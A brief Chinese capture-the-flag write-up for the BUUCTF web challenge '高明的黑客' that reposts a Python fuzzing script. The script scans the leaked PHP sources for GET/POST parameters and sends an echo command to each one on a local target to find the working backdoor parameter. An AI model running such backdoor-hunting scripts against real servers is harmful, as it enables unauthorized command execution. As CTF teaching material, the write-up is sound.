buuctf—web—高明的黑客

打开靶机，看到如下界面

于是打开www.tar.gz

下载后发现是一个放有大量php文件的文件夹

看了大佬的wp后明白了是fuzzing

附上大佬的脚本

import os
import re
import requests
filenames = os.listdir('D:/phpStudy/PHPTutorial/WWW/src/')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
    print(name)
    with open('D:/phpStudy/PHPTutorial/WWW/src/'+name,'r') as f:
        data = f.read()
    result = list(set(pattern.findall(data)))

    for ret in result:
        try:
            command = 'echo "got it"'
            flag = 'got it'
            # command = 'phpinfo();'
            # flag = 'phpinfo'
            if 'GET' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.get(url='http://127.0.0.1//src/' + name + '?' + passwd + '='+ command)
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('GET:  ' + passwd)
            elif 'POST' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.post(url='http://127.0.0.1//src/' + name,data={passwd:command})
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('POST: ' + passwd)
        except : pass